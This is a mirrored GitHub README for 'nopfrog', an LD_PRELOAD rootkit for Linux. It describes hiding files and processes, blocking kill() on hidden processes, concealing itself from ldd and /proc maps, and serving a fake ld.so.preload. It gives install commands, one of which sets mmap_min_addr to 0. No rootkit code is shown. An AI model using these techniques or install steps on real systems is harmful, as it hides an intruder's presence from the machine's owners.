GithubHelp home page GithubHelp logo

mad-cat-lon / nopfrog Goto Github PK

View Code? Open in Web Editor NEW
8.0 2.0 2.0 61 KB

LD_PRELOAD rootkit that hooks raw syscalls with zpoline

Shell 5.31% Makefile 0.93% C 93.75%
ld-preload linux-malware linux-rootkit rootkit malware

nopfrog's Introduction

Description

nopfrog is a simple LD_PRELOAD rootkti for x64 Linux that uses the binary rewriting method outlined in zpoline to exhaustively hook syscalls. Unlike most LD_PRELOAD rootkits that hook the glibc syscall wrappers and hope for the best, nopfrog can intercept and modify all raw syscalls from both statically and dynamically linked programs, without ptrace, changing the target's source, recompiling the kernel or inserting an LKM.

WORK IN PROGRESS!

Features

  • File hiding Hooks openat() and getdents64() to hide files containing a magic string in their name (i.e __pwned__a.txt)
  • Process hiding
    • Hooks getdents64() to hide processes with magic strings in their names from ps, top, etc.
    • Hooks kill() to prevent victim from terminating hidden procs
  • Stealth
    • Filters rootkit shared objects from ldd output, /proc/<pid>/maps and /proc/<pid>/smaps
    • Backs up existing /etc/ld.so.preload file and serves fake one to user
  • Anti-RE
    • XORs out (most) sensitive strings and cleans memory

Upcoming

  • Hiding files and processes by GID (in progress)
  • Anti-VM
  • Easy setup and install scripts (in progress)
  • Network hiding

Installation

git clone --recursive https://github.com/mad-cat-lon/nopfrog cd nopfrog sudo ./easy_install.sh

Hooking a single program

Set /proc/sys/vm/mmap_min_addr to 0

sudo sh -c "echo 0 > /proc/sys/vm/mmap_min_addr"

LIBZPHOOK=./nopfrog.so LD_PRELOAD=./libzpoline.so [program you wish to run]

Configuration

FAQ

References

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.